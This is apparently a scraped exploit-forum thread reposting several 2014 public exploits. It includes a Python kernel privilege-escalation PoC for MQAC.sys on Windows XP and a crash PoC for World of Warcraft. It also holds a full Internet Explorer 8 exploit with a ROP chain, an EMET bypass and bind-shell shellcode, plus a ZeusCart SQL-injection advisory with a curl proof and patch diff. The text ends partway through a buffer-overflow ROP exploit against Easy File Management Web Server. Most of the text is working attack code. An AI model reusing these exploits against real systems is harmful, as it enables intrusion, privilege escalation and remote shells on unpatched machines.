have passed since vendor acknowledgement of the
initial report. KoreLogic requests CVE number for the
vulnerability, if there is one. KoreLogic also
requests vendor's public identifier for the
vulnerability along with the expected disclosure date.
2014.06.11 - Microsoft responds to KoreLogic that the
vulnerability does not affect an "up-platform"
product. Says they are investigating embedded
platforms. Does not provide a CVE number or a
disclosure date.
2014.06.30 - KoreLogic asks Microsoft for confirmation of their
receipt of the updated PoC. Also requests that
a CVE ID be issued to this vulnerability.
2014.07.02 - 45 business days have elapsed since Microsoft
acknowledged receipt of the vulnerability report and
PoC.
2014.07.07 - KoreLogic requests CVE from MITRE.
2014.07.18 - MITRE deems this vulnerability (KL-001-2014-003) to
be identical to KL-001-2014-002 and issues
CVE-2014-4971 for both vulnerabilities.
2014.07.18 - Public disclosure.

7. Proof of Concept

Code:Copy to clipboard

     #!/usr/bin/python2
     #
     # KL-001-2014-003 : Microsoft XP SP3 MQAC.sys Arbitrary Write

Privilege Escalation     # Matt Bergin (KoreLogic / Smash the Stack)     # CVE-2014-4971     #     from ctypes import *     from struct import pack     from os import getpid,system     from sys import exit     EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA

windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA     GetProcAddress,DeviceIoControlFile,NtQueryIntervalProfile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.ntdll.NtQueryIntervalProfile,windll.kernel32.CloseHandle     INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0       # thanks to offsec for the concept     # I re-wrote the code as to not fully insult them :)     def getBase(name=None):         retArray = c_ulong*1024         ImageBase = retArray()         callback = c_int(1024)         cbNeeded = c_long()         EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded))         for base in ImageBase:                 driverName = c_char_p("\x00"*1024)                 GetDeviceDriverBaseNameA(base,driverName,48)                 if (name):                         if (driverName.value.lower() == name):                                 return base                 else:                         return (base,driverName.value)         return None       handle = CreateFileA("\\.\MQAC",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None)     print "[+] Handle \\.\MQAC @ %s" % (handle)     NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40)     buf = "\x50\x00\x00\x00"+"\x90"*0x400     WriteProcessMemory(-1, 0x1, "\x90"*0x6000, 0x6000, byref(c_int(0)))     WriteProcessMemory(-1, 0x1, buf, 0x400, byref(c_int(0)))     WriteProcessMemory(-1, 0x5000, "\xcc", 77, byref(c_int(0)))     #Overwrite Pointer     kBase,kVer = getBase()     hKernel = LoadLibraryExA(kVer,0,1)     HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable")     HalDispatchTable -= hKernel     HalDispatchTable += kBase     HalDispatchTable += 0x4     print "[+] Kernel @ %s, HalDispatchTable @ %s" % (hex(kBase),hex(HalDispatchTable))     DeviceIoControlFile(handle,NULL,NULL,NULL,byref(c_ulong(8)),0x1965020f,0x1,0x258,HalDispatchTable,0)     print "[+] HalDispatchTable+0x4 overwritten"     CloseHandle(handle)     NtQueryIntervalProfile(c_ulong(2),byref(c_ulong()))     exit(0)

The contents of this advisory are copyright© 2014
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
[https://www.korelogic.com/KoreLogic- Public-...Policy.v1.0.txt](https://www.korelogic.com/KoreLogic-Public- Vulnerability-Disclosure-Policy.v1.0.txt)

AFF24B8A5383921E 1337day.com [2014-07-31] 308411A03106F362

Click to expand...

World Of Warcraft 3.3.5a
ID: 67686ba3b4103b69df379d43
Thread ID: 25309
Created: 2014-07-22T13:49:50+0000
Last Post: 2014-07-22T15:54:45+0000
Author: DarckSol
Prefix: DoS
Replies: 1 Views: 1K

Exploit Title: World Of Warcraft 3.3.5a Stack Overflow (macros-cache.txt)

Date: 21 Jul 2014

Exploit Author: Alireza Chegini (@nimaarek)

Vendor Homepage: http://us.battle.net/wow/

Version: 3.3.5a

Tested on: Win7

Output:

--WoWError [CrashDUmp] :
World of WarCraft (build 12340)

Exe: D:\Wow\Wow.exe
Time: Jul 21, 2014 6:10:08.243 PM
User: nimaarek
Computer: NIMAAREK-L

------------------------------------------------------------------------------

This application has encountered a critical error:

ERROR #132 (0x85100084) Fatal Exception
Program: D:\Wow\Wow.exe
Exception: 0xC00000FD (STACK_OVERFLOW) at 0023:0040BB77

--Windbg result:
0:020> g
ModLoad: 6c670000 6c6a0000 C:\Windows\SysWOW64\wdmaud.drv
ModLoad: 6d3a0000 6d3a4000 C:\Windows\SysWOW64\ksuser.dll
ModLoad: 6c660000 6c667000 C:\Windows\SysWOW64\AVRT.dll
ModLoad: 6c610000 6c618000 C:\Windows\SysWOW64\msacm32.drv
ModLoad: 6c600000 6c607000 C:\Windows\SysWOW64\midimap.dll
ModLoad: 71e50000 71e66000 C:\Windows\SysWOW64\CRYPTSP.dll
ModLoad: 71e10000 71e4b000 C:\Windows\SysWOW64\rsaenh.dll
(3a8.470): Stack overflow - code c00000fd (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for Wow.exe -
eax=02af2000 ebx=050c1f6e ecx=00000000 edx=00000000 esi=17b28f50 edi=00000000
eip=0040bb77 esp=032eed00 ebp=032ef92c iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
Wow+0xbb77:
0040bb77 8500 test dword ptr [eax],eax ds:002b:02af2000=00000000

==============================================================================
Poc :
%systemroot%\Wow\WTF\Account\[AccountName]\macros-cache.txt

MACRO 1 "Decursive" INV_Misc_QuestionMark
/stopcasting
/cast [target=mouseover,nomod,exists] Dispel Magic; [target=mouseover,exists,mod:ctrl] Abolish Disease; [target=mouseover,exists,mod:shift] Dispel Magic
END
MACRO 2 "PoC" INV_Misc_QuestionMark
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA x n+1 :)
END

==============================================================================
Greetz to My Friend : promoh3nv , AmirHosein Nemati , b3hz4d And Head Administrator of ST-Team [RadoN]

29AC4A4BEC02963F 1337day.com [2014-07-22] 4832CB27072D30B8

Click to expand...

Internet Explorer 8 fixed col span ID full ASLR, DEP, and EMET 4.1.x bypass exploit
ID: 67686ba3b4103b69df379d44
Thread ID: 25276
Created: 2014-07-02T05:17:50+0000
Last Post: 2014-07-02T05:17:50+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

Internet Explorer 8 fixed col span ID full ASLR, DEP, and EMET 4.1.x bypass exploit.

Click to expand...

Code:Copy to clipboard

<!--
** Internet Explorer 8 Fixed Col Span ID full ASLR, DEP and EMET 4.1.X bypass
** Offensive Security Research Team
** http://www.offensive-security.com/vulndev/disarming-enhanced-mitigation-experience-toolkit-emet
** Affected Software: Internet Explorer 8
** Vulnerability: Fixed Col Span ID
** CVE: CVE-2012-1876
** Tested on Windows 7 (x86) - IE 8.0.7601.17514 & EMET 4.1.X
-->
 
<html>
<body>
<div id="evil"></div>
<table style="table-layout:fixed" ><col id="132" width="41" span="9" >  </col></table>
<script language='javascript'>
 
function strtoint(str) {
        return str.charCodeAt(1)*0x10000 + str.charCodeAt(0);
}
 
var free = "EEEE";
while ( free.length < 500 ) free += free;
 
var string1 = "AAAA";
while ( string1.length < 500 ) string1 += string1;
 
var string2 = "BBBB";
while ( string2.length < 500 ) string2 += string2;
 
var fr = new Array();
var al = new Array();
var bl = new Array();
 
var div_container = document.getElementById("evil");
div_container.style.cssText = "display:none";
 
for (var i=0; i < 500; i+=2) {
        fr[i] = free.substring(0, (0x100-6)/2);
        al[i] = string1.substring(0, (0x100-6)/2);
        bl[i] = string2.substring(0, (0x100-6)/2);
        var obj = document.createElement("button");
        div_container.appendChild(obj);
}
 
for (var i=200; i<500; i+=2 ) {
        fr[i] = null;
        CollectGarbage();
}
 
function heapspray(cbuttonlayout) {
    CollectGarbage();
    var rop = cbuttonlayout + 4161; // RET
    var rop = rop.toString(16);
    var rop1 = rop.substring(4,8);
    var rop2 = rop.substring(0,4); // } RET
 
    var rop = cbuttonlayout + 11360; // POP EBP
    var rop = rop.toString(16);
    var rop3 = rop.substring(4,8);
    var rop4 = rop.substring(0,4); // } RET
 
    var rop = cbuttonlayout + 111675; // XCHG EAX,ESP
    var rop = rop.toString(16);
    var rop5 = rop.substring(4,8);
    var rop6 = rop.substring(0,4); // } RET
 
    var rop = cbuttonlayout + 12377; // POP EBX
    var rop = rop.toString(16);
    var rop7 = rop.substring(4,8);
    var rop8 = rop.substring(0,4); // } RET
 
    var rop = cbuttonlayout + 642768; // POP EDX
    var rop = rop.toString(16);
    var rop9 = rop.substring(4,8);
    var rop10 = rop.substring(0,4); // } RET
 
    var rop = cbuttonlayout + 12201; // POP ECX --> Changed
    var rop = rop.toString(16);
    var rop11 = rop.substring(4,8);
    var rop12 = rop.substring(0,4); // } RET
 
    var rop = cbuttonlayout + 5504544; // Writable location
    var rop = rop.toString(16);
    var writable1 = rop.substring(4,8);
    var writable2 = rop.substring(0,4); // } RET
 
    var rop = cbuttonlayout + 12462; // POP EDI
    var rop = rop.toString(16);
    var rop13 = rop.substring(4,8);
    var rop14 = rop.substring(0,4); // } RET
 
    var rop = cbuttonlayout + 12043; // POP ESI --> changed
    var rop = rop.toString(16);
    var rop15 = rop.substring(4,8);
    var rop16 = rop.substring(0,4); // } RET
 
    var rop = cbuttonlayout + 63776; // JMP EAX
    var rop = rop.toString(16);
    var jmpeax1 = rop.substring(4,8);
    var jmpeax2 = rop.substring(0,4); // } RET
 
    var rop = cbuttonlayout + 85751; // POP EAX
    var rop = rop.toString(16);
    var rop17 = rop.substring(4,8);
    var rop18 = rop.substring(0,4); // } RET
 
    var rop = cbuttonlayout + 4936; // VirtualProtect()
    var rop = rop.toString(16);
    var vp1 = rop.substring(4,8);
    var vp2 = rop.substring(0,4); // } RET
 
    var rop = cbuttonlayout + 454843; // MOV EAX,DWORD PTR DS:[EAX]
    var rop = rop.toString(16);
    var rop19 = rop.substring(4,8);
    var rop20 = rop.substring(0,4); // } RET
 
    var rop = cbuttonlayout + 234657; // PUSHAD
    var rop = rop.toString(16);
    var rop21 = rop.substring(4,8);
    var rop22 = rop.substring(0,4); // } RET
 
 
    var rop = cbuttonlayout + 408958; // PUSH ESP
    var rop = rop.toString(16);
    var rop23 = rop.substring(4,8);
    var rop24 = rop.substring(0,4); // } RET
 
    var rop = cbuttonlayout + 2228408; // POP ECX
    var rop = rop.toString(16);
    var rop25 = rop.substring(4,8);
    var rop26 = rop.substring(0,4); // } RET
 
    var rop = cbuttonlayout + 1586172; // POP EAX
    var rop = rop.toString(16);
    var rop27 = rop.substring(4,8);
    var rop28 = rop.substring(0,4); // } RET
 
    var rop = cbuttonlayout + 1589179; // MOV EAX,DWORD PTR [EAX]
    var rop = rop.toString(16);
    var rop29 = rop.substring(4,8);
    var rop30 = rop.substring(0,4); // } RET
 
    var rop = cbuttonlayout + 1884912; // PUSH EAX
    var rop = rop.toString(16);
    var rop31 = rop.substring(4,8);
    var rop32 = rop.substring(0,4); // } RET
 
    var rop = cbuttonlayout + 2140694; // ADD EAX,ECX
    var rop = rop.toString(16);
    var rop33 = rop.substring(4,8);
    var rop34 = rop.substring(0,4); // } RET
 
    var rop = cbuttonlayout + 2364867; // MOV DWORD PTR [EAX],ECX
    var rop = rop.toString(16);
    var rop35 = rop.substring(4,8);
    var rop36 = rop.substring(0,4); // } RET
 
    var rop = cbuttonlayout + 5036248; // ADD ESP,0C
    var rop = rop.toString(16);
    var rop37 = rop.substring(4,8);
    var rop38 = rop.substring(0,4); // } RET
 
    var getmodulew = cbuttonlayout + 4840; // GetModuleHandleW
    var getmodulew = getmodulew.toString(16);
    var getmodulew1 = getmodulew.substring(4,8);
    var getmodulew2 = getmodulew.substring(0,4); // } RET
 
    var getprocaddr = cbuttonlayout + 4836; // GetProcAddress
    var getprocaddr = getprocaddr.toString(16);
    var getprocaddr1 = getprocaddr.substring(4,8);
    var getprocaddr2 = getprocaddr.substring(0,4); // } RET
 
    var shellcode = unescape("%u4141%u4141%u4242%u4242%u4343%u4343"); // PADDING
    shellcode+= unescape("%u4141%u4141%u4242%u4242%u4343%u4343"); // PADDING
    shellcode+= unescape("%u4141%u4141"); // PADDING
 
    shellcode+= unescape("%u"+rop1+"%u"+rop2); // RETN
    shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP # RETN
    shellcode+= unescape("%u"+rop5+"%u"+rop6); // XCHG EAX,ESP # RETN
 
    // EMET disable part 0x01
    // Implement the Tachyon detection grid to overcome the Romulan cloaking device.
    shellcode+= unescape("%u"+rop27+"%u"+rop28);    // POP EAX # RETN
    shellcode+= unescape("%u"+getmodulew1+"%u"+getmodulew2);           // GetModuleHandleW
    shellcode+= unescape("%u"+rop29+"%u"+rop30);    // MOV EAX,DWORD PTR [EAX] # RETN
    shellcode+= unescape("%u"+rop31+"%u"+rop32);    // PUSH EAX # RETN
    shellcode+= unescape("%u"+rop25+"%u"+rop26);    // POP ECX # RETN
    shellcode+= unescape("%u101C%u076d");           // EMET string
    shellcode+= unescape("%ue220%u0007");           // EMET offset
    shellcode+= unescape("%u"+rop33+"%u"+rop34);    // ADD EAX,ECX # RETN
    shellcode+= unescape("%u"+rop25+"%u"+rop26);    // POP ECX # RETN
    shellcode+= unescape("%u0000%u0000");           // Zero out ECX
    shellcode+= unescape("%u"+rop35+"%u"+rop36);    // MOV DWORD PTR [EAX],ECX # RETN
    shellcode+= unescape("%u"+rop37+"%u"+rop38);    // ADD ESP,0C # RETN
    shellcode+= "EMET"; // EMET string
    shellcode+= unescape("%u0000%u0000"); // EMET string
    // EMET disable part 0x01 end
 
    // Performing a standard Kumeh maneuver ... (VirtualProtect mona chain)
    shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP
    shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP
    shellcode+= unescape("%u"+rop7+"%u"+rop8); // POP EBP
    shellcode+= unescape("%u1024%u0000"); // Size 0x00001024
    shellcode+= unescape("%u"+rop9+"%u"+rop10); // POP EDX
    shellcode+= unescape("%u0040%u0000"); // 0x00000040
    shellcode+= unescape("%u"+rop11+"%u"+rop12); // POP ECX
    shellcode+= unescape("%u"+writable1+"%u"+writable2); // Writable Location
    shellcode+= unescape("%u"+rop13+"%u"+rop14); // POP EDI
    shellcode+= unescape("%u"+rop1+"%u"+rop2); // RET
    shellcode+= unescape("%u"+rop15+"%u"+rop16); // POP ESI
    shellcode+= unescape("%u"+jmpeax1+"%u"+jmpeax2); // JMP EAX
    shellcode+= unescape("%u"+rop17+"%u"+rop18); // POP EAX
    shellcode+= unescape("%u"+vp1+"%u"+vp2); // VirtualProtect()
    shellcode+= unescape("%u"+rop19+"%u"+rop20); // MOV EAX,DWORD PTR DS:[EAX]
    shellcode+= unescape("%u"+rop21+"%u"+rop22); // PUSHAD
    shellcode+= unescape("%u"+rop23+"%u"+rop24); // PUSH ESP
    shellcode+= unescape("%u9090%u9090"); // NOPs
 
    // EMET disable part 0x02
    // Execute the Corbomite bluff to disarm EAF
    shellcode+= unescape("%uc0b8%u6d10");
    shellcode+= unescape("%u8b07%u8b00");
    shellcode+= unescape("%u6800%u10c8");
    shellcode+= unescape("%u076d%ud0ff");
    shellcode+= unescape("%ud468%u6d10");
    shellcode+= unescape("%u5007%uc4b8");
    shellcode+= unescape("%u6d10%u8b07");
    shellcode+= unescape("%u8b00%uff00");
    shellcode+= unescape("%u8bd0%u81f0");
    shellcode+= unescape("%uccec%u0002");
    shellcode+= unescape("%uc700%u2404");
    shellcode+= unescape("%u0010%u0001");
    shellcode+= unescape("%ufc8b%uccb9");
    shellcode+= unescape("%u0002%u8300");
    shellcode+= unescape("%u04c7%ue983");
    shellcode+= unescape("%u3304%uf3c0");
    shellcode+= unescape("%u54aa%ufe6a");
    shellcode+= unescape("%ud6ff%u9090");
    shellcode+= unescape("%u9090%u9090"); // NOPs
    shellcode+= unescape("%u9090%u29eb"); // NOPs
    shellcode+= unescape("%u"+getmodulew1+"%u"+getmodulew2); // GetModuleHandleW
    shellcode+= unescape("%u"+getprocaddr1+"%u"+getprocaddr2); // GetProcAddress
    shellcode+= "NTDLL";
    shellcode+= unescape("%u0000");
    shellcode+= unescape("%u744e%u6553"); // NtSetContextThread
    shellcode+= unescape("%u4374%u6e6f");
    shellcode+= unescape("%u6574%u7478");
    shellcode+= unescape("%u6854%u6572");
    shellcode+= unescape("%u6461%u0000");
    shellcode+= unescape("%u9090%u9090"); // NOPs
    shellcode+= unescape("%u9090%u9090"); // NOPs
    // EMET disable part 0x02 end
 
    // Bind shellcode on 4444 :)
    // msf > generate -t js_le
    // windows/shell_bind_tcp - 342 bytes
    // http://www.metasploit.com
    // VERBOSE=false, LPORT=4444, RHOST=, PrependMigrate=false,
    // EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=
    // I would keep the shellcode the same size for better reliability :)
 
    shellcode+= unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b" +
                             "%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a" +
                             "%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf" +
                             "%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001" +
                             "%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18" +
                             "%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31" +
                             "%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03" +
                             "%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" +
                             "%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489" +
                             "%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a" +
                             "%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32" +
                             "%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900" +
                             "%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050" +
                             "%u5040%u5040%uea68%udf0f%uffe0%u89d5%u31c7" +
                             "%u53db%u0268%u1100%u895c%u6ae6%u5610%u6857" +
                             "%udbc2%u6737%ud5ff%u5753%ub768%u38e9%uffff" +
                             "%u53d5%u5753%u7468%u3bec%uffe1%u57d5%uc789" +
                             "%u7568%u4d6e%uff61%u68d5%u6d63%u0064%ue389" +
                             "%u5757%u3157%u6af6%u5912%ue256%u66fd%u44c7" +
                             "%u3c24%u0101%u448d%u1024%u00c6%u5444%u5650" +
                             "%u5656%u5646%u564e%u5356%u6856%ucc79%u863f" +
                             "%ud5ff%ue089%u564e%uff46%u6830%u8708%u601d" +
                             "%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff" +
                             "%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72" +
                             "%u006a%uff53%u41d5");
 
    // Total spray should be 1000
    var padding = unescape("%u9090");
    while (padding.length < 1000)
        padding = padding + padding;
    var padding = padding.substr(0, 1000 - shellcode.length);
 
    shellcode+= padding;
 
    while (shellcode.length < 100000)
        shellcode = shellcode + shellcode;
 
    var onemeg = shellcode.substr(0, 64*1024/2);
 
    for (i=0; i<14; i++) {
        onemeg += shellcode.substr(0, 64*1024/2);
    }
 
    onemeg += shellcode.substr(0, (64*1024/2)-(38/2));
 
    var spray = new Array();
 
    for (i=0; i<100; i++) {
        spray[i] = onemeg.substr(0, onemeg.length);
    }
}
 
function leak(){
        var leak_col = document.getElementById("132");
        leak_col.width = "41";
        leak_col.span = "19";
}
 
function get_leak() {
        var str_addr = strtoint(bl[498].substring((0x100-6)/2+11,(0x100-6)/2+13));
        str_addr = str_addr - 1410704;
        var hex = str_addr.toString(16);
        //alert(hex);
        setTimeout(function(){heapspray(str_addr)}, 50);
}
 
function trigger_overflow(){
        var evil_col = document.getElementById("132");
        evil_col.width = "1245880";
        evil_col.span = "44";
}
 
setTimeout(function(){leak()}, 400);
setTimeout(function(){get_leak()},450);
setTimeout(function(){trigger_overflow()}, 700);
 
</script>
</body>
</html>

Источник:[http://packetstormsecurity.com/files/12731...r-8-Bypass.html](http://packetstormsecurity.com/files/127316/Internet- Explorer-8-Bypass.html)

ZeusCart 4.x Remote SQL Injection
ID: 67686ba3b4103b69df379d45
Thread ID: 25272
Created: 2014-06-26T12:05:16+0000
Last Post: 2014-06-26T12:05:16+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

On May 27th our research labs discovered a vulnerability (CVE-2014-3868)
in an e-commerce shopping cart application known as "ZeusCart". The
same day,
we reported this vulnerability to mitre.org and the CVE was assigned.
We were
able to get in touch with the vendor with a confirmed response relatively
quickly (May 29).

We attempted to contact them again on June 4 and June 17. They have not
since
responded.

Since then there have been multiple pushes and merges to the project's
master
branch on github; the security issue still has not been addressed
despite the
fix being a single, simple line of code. This copy-paste fix could have
been
implemented extremely quickly and easily and the vendor has pushed many
updates since their notification. When initially disclosing this, we gave
them a time period of 14 days before we would publish it. Because they
responded to us positively, we gave them extra time to fix it. At this
point,
seeing that they continue to update the software past the 14 day window
without implementing a ten second fix leaves us little alternative to our
present course of action.

As per our Actionable Intelligence Must Beget Overzealous Timing (AIMBOT)
policy, this report is being released in the hopes that vendor
negligence and
potential incompetence may be appropriately addressed. Responsible
disclosure
includes the responsibility to be transparent with consumers and the
responsibility to consumers to prevent them from being harmed.

Before we get into any specific vulnerability, we would like to
compliment this
vendor on their UI development. The responsive HTML5 layout is
certainly an
excellent piece of code.

While the vendor has amazing interface developers, their database
architects
are as poor at databasing as their UI developers are good at interfacing.

Our initial analysis of the software in question, including
CVE-2014-3868 and
several other vulnerabilities follows below. Weaponized exploit samples
for
this software will NOT be made available by ourselves, as weaponizing
exploits
affecting this type of application is contrary to the spirit of consumer
protection. We will attempt to provide diffs for each thing we were
able to
easily patch at the end of this document; however this is not a
guarantee of
the future safety of this third-party-patched product.

--- CVE-2014-3868 ---
Assigned:
27 May 2014 (Submitted to Vendor May 29)

Status:
Vendor Ignored, see suggested fix below.

Classification:
Blind SQL Injection

Exploit Complexity:
Low

Severity:
High

Description:
Blind SQL injection vector exists in the current addtocart
functionality
for the latest version of ZeusCart.

Required information for attack to be successful:

  • valid product id
  • valid session ID

PoC:

  • Requires a valid sessionid and numeric product id.
  • The following bash commands causes the target page to sleep for 13
    seconds, while the expected inputs have a near-instant response time:

export SESSID="YOURSESSIONID, CHANGE THIS";

export PROD_ID="Numeric Product ID";

time curl -d "addtocart=${PROD_ID}" -b "PHPSESSID=${SESSID}" \

"http://zeuscart_install/index.php?do=addtocart&prodid=${PROD_ID} and
sleep(1)"

Suggested Action:
At the top of CAddCart.php, line 32 (just after the comments and
before the
definition of the class), add the following line of code:

$_GET['prodid'] = abs((int)$_GET['prodid']);

--- Initial Analysis ---
The first thing we noticed was that Zeuscart uses
Bin/Core/Assembler.php to
automatically iterate over each user input and use
"mysql_real_escape_string"
on everything. While the comments call this "power security", it is not.
Inputs that are not wrapped in quotes are not in any way protected. Two
better
ways to implement "power security" include using PDO with paramaterized
statements or an ORM that sanitizes inputs according to datatypes in the
information_schema database.

We were able to identify a number of sql injection vulnerabilities
which
involved integer handling bugs. The following functions are vulnerable to
the following parameters:

classes/Core/CUserNewsLetter.php:

  • addNewsLetter() : $_POST['subId'] (line 72)

classes/Core/CAddCart.php:

  • addCartFromProductDetail() : $_GET['prodid'] (lines 238, 379)
  • addCartFromProductDetail() : $_POST['variations'] (line 273)

Eventually we stopped actually looking CAddCart.php and just ran a
fancy
grep to see queries that had string concatenated inputs that weren't
wrapped in
quotes. The results were kind of scary, so, for CAddCart.php we simply
made a
list of vulnerable integer inputs with some magical bash:

  • $_GET['prodid']
  • $_POST['variations']
  • $_POST['prodid'][$i]
  • $_POST['qty'][$i]
  • $_POST['qty']

Our greps also returned a fairly large amount of other
vulnerabilities. The
following filenames and line numbers showed as vulnerable for one reason or
another, we are limiting the information here due to the severity of the
bugs.
./classes/Core/CAddCart.php:91
./classes/Core/CAddCart.php:115
./classes/Core/CAddCart.php:138
./classes/Core/CAddCart.php:238
./classes/Core/CAddCart.php:273
./classes/Core/CAddCart.php:734
./classes/Core/CAddCart.php:742
./classes/Core/CAddCart.php:749
./classes/Core/CAddCart.php:756
./classes/Core/CAddCart.php:757
./classes/Core/CAddCart.php:762
./classes/Core/CAddCart.php:783
./classes/Core/CAddCart.php:789
./classes/Core/CAddCart.php:905
./classes/Core/CUserNewsLetter.php:72
./classes/Display/DAddCart.php:277
./classes/Display/DAddCart.php:1146
./classes/Display/DAddCart.php:1161
./classes/Display/DAddCart.php:1326
./classes/Display/DAddCart.php:1341
./classes/Display/DUserAccount.php:1216

Most major and obvious SQL injection bugs are fixed with our patch
to the
Assembler.php file; however we are not willing to vouch that there are
no SQL
injection vulnerabilities in our patched version. This is only our initial
analysis and as such it is not complete. This is simply what we were
able to
find and fix on our "first pass".

--- Our Patchset ---
While we have applied some best-effort hotfixes here, it is highly
recommended
to move to a software platform who's vendor takes security more
seriously until
the vendor officially patches these bugs amongst others. Serious code
review
and standard enforcement is both lacking and needed by this vendor.

The diff is provided as follows:

[root@temp Core]# diff Assembler.php Assembler_New.php
47c47,73
<
---

if (isset($_POST['prodid'])) {
if (is_array($_POST['prodid'])) {
foreach ($_POST['prodid'] as $key => $value) {
$_POST['prodid'][$key] = abs((int)$value);
}
} else {
$_POST['prodid'] = abs((int)$_GET['prodid']);
}
}

if (isset($_POST['qty'])) {
if (is_array($_POST['qty'])) {
foreach ($_POST['qty'] as $key => $value) {
$_POST['qty'][$key] = abs((int)$value);
}
} else {
$_POST['qty'] = abs((int)$_GET['prodid']);
}
}

if (isset($_POST['variations']))
$_POST['variations'] = abs((int)$_POST['variations']);
if (isset($_GET['prodid'])) $_GET['prodid']
= abs((int)$_GET['prodid']);
if (isset($_POST['subId'])) $_POST['subId']
= abs((int)$_POST['subId']);

240c266
< ?>
\ No newline at end of file
---

?>

Again, we would like to stress that this is NOT a guarantee of the
security of
this product. This simply fixes the SQL injection vulnerabilities we
were able
to discover on our first glance. If we were able to discover these
at-a-glance
then imagine what could potentially be in the wild.

Github pull request:https://github.com/ZeusCart/zeuscart/pull/23
Full Advisory:http://breaking.technology/advisories/CVE-2014-3868.txt

- Breaking Technology Staff

Click to expand...

Источник:[http://packetstormsecurity.com/files/12719...-Injection.html](http://packetstormsecurity.com/files/127196/ZeusCart-4.x-Remote- SQL-Injection.html)

Easy File Management Web Server v5.3
ID: 67686ba3b4103b69df379d46
Thread ID: 25235
Created: 2014-06-02T14:57:57+0000
Last Post: 2014-06-02T14:57:57+0000
Author: DarckSol
Prefix: Remote
Replies: 0 Views: 1K

Code:Copy to clipboard

#!/usr/bin/python
# Exploit Title: Easy File Management Web Server v5.3 - USERID Remote Buffer Overflow (ROP)
# Version:       5.3
# Date:          2014-05-31
# Author:        Julien Ahrens (@MrTuxracer)
# Homepage:      http://www.rcesecurity.com
# Software Link: http://www.efssoft.com/
# Tested on:     WinXP-GER, Win7x64-GER, Win8-EN, Win8x64-GER
#
# Credits for vulnerability discovery:
# superkojiman (http://www.exploit-db.com/exploits/33453/)
#
# Howto / Notes:
# This scripts exploits the buffer overflow vulnerability caused by an oversized UserID - string as
# discovered by superkojiman. In comparison to superkojiman's exploit, this exploit does not
# brute force the address of the overwritten stackpart, instead it uses code from its own
# .text segment to achieve reliable code execution.
  
from struct import pack
import socket,sys
import os
   
host="192.168.0.1"
port=80
   
junk0 = "\x90" * 80
  
# Instead of bruteforcing the stack address, let's take an address
# from the .text segment, which is near to the stackpivot instruction:
# 0x1001d89b : {pivot 604 / 0x25c} # POP EDI # POP ESI # POP EBP # POP EBX # ADD ESP,24C # RETN [ImageLoad.dll]
# The memory located at 0x1001D8F0: "\x7A\xD8\x01\x10" does the job!
# Due to call dword ptr [edx+28h]: 0x1001D8F0 - 28h = 0x1001D8C8
call_edx=pack('<L',0x1001D8C8)
  
junk1="\x90" * 280
ppr=pack('<L',0x10010101) # POP EBX # POP ECX # RETN [ImageLoad.dll]
  
# Since 0x00 would break the exploit, the 0x00457452 (JMP ESP [fmws.exe]) needs to be crafted on the stack
crafted_jmp_esp=pack('<L',0xA445ABCF)
  
test_bl=pack('<L',0x10010125) # contains 00000000 to pass the JNZ instruction
  
kungfu=pack('<L',0x10022aac)  # MOV EAX,EBX # POP ESI # POP EBX # RETN [ImageLoad.dll]
kungfu+=pack('<L',0xDEADBEEF) # filler
kungfu+=pack('<L',0xDEADBEEF) # filler
kungfu+=pack('<L',0x1001a187) # ADD EAX,5BFFC883 # RETN [ImageLoad.dll] # finish crafting JMP ESP
kungfu+=pack('<L',0x1002466d) # PUSH EAX # RETN [ImageLoad.dll]
  
nopsled="\x90" * 20
  
# windows/exec CMD=calc.exe
# Encoder: x86/shikata_ga_nai
# powered by Metasploit
# msfpayload windows/exec CMD=calc.exe R | msfencode -b '\x00\x0a\x0d'
  
shellcode=("\xda\xca\xbb\xfd\x11\xa3\xae\xd9\x74\x24\xf4\x5a\x31\xc9" +
